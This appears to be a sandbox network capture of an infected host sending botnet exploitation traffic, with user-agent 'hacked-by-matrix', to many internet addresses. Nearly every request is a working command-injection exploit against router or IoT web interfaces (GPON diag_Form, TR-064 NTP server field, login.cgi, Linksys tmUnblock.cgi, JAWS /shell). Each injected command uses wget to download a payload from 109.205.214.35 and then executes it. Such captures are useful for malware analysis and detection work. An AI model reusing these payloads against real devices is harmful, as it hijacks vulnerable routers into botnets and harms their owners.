Mar 21, 2024 05:22:44.385699987 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.14	42508	118.191.203.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385751963 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.14	55944	79.236.44.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385773897 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.14	42588	109.168.181.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385776997 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.14	39304	178.97.5.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385806084 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.14	44288	79.109.200.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385862112 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.14	49574	2.59.20.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385967970 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.14	38386	42.91.219.220	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.385972023 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.14	47278	89.155.20.109	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.505475044 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.14	34346	212.244.54.202	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.722058058 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:22:44.945873976 CET	505	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:22:44 GMT Server: Apache/2.4.25 (Debian) Content-Length: 311 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 35 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 67 61 64 2e 72 61 64 69 6f 2e 6c 75 62 6c 69 6e 2e 70 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.25 (Debian) Server at gad.radio.lublin.pl Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.14	45036	172.65.57.192	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.761210918 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.14	55602	192.186.179.63	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.773463011 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:44.882349968 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 12:20:09 GMT Content-Type: text/html Content-Length: 3157 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title>ERROR: The requested URL could not be retrieved</title> <style type="text/css">... /* Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area /#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('http://www.squid-cache.org/Artwork/SN.png') no-repeat left;}/ initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content area */#content {padding: 10px;background: #ffffff

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.14	46348	5.189.154.52	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.865345955 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:22:45.091268063 CET	185	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 1089 Date: Thu, 21 Mar 2024 04:22:44 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.14	35152	18.164.126.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:44.949875116 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:45.037977934 CET	927	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.14	36616	95.57.130.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:45.759628057 CET	794	IN	Data Raw: 28 6e 75 6c 6c 29 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 53 65 72 76 65 72 3a 20 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 33 30 20 32 36 4f 63 74 32 30 31 38 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 Data Ascii: (null) 400 Bad RequestServer: mini_httpd/1.30 26Oct2018Date: Thu, 21 Mar 2024 04:22:44 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sContent-Security-Policy: frame-ancestors 'none'Content-Security-Policy: fr

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.14	42210	195.228.250.45	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:46.237415075 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:46.845333099 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:47.420852900 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:22:47.610492945 CET	420	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:22:47 GMT Server: Apache Content-Length: 207 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 73 68 65 6c 6c 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /shellon this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.14	44022	18.254.236.233	80

Timestamp	Bytes transferred	Direction	Data
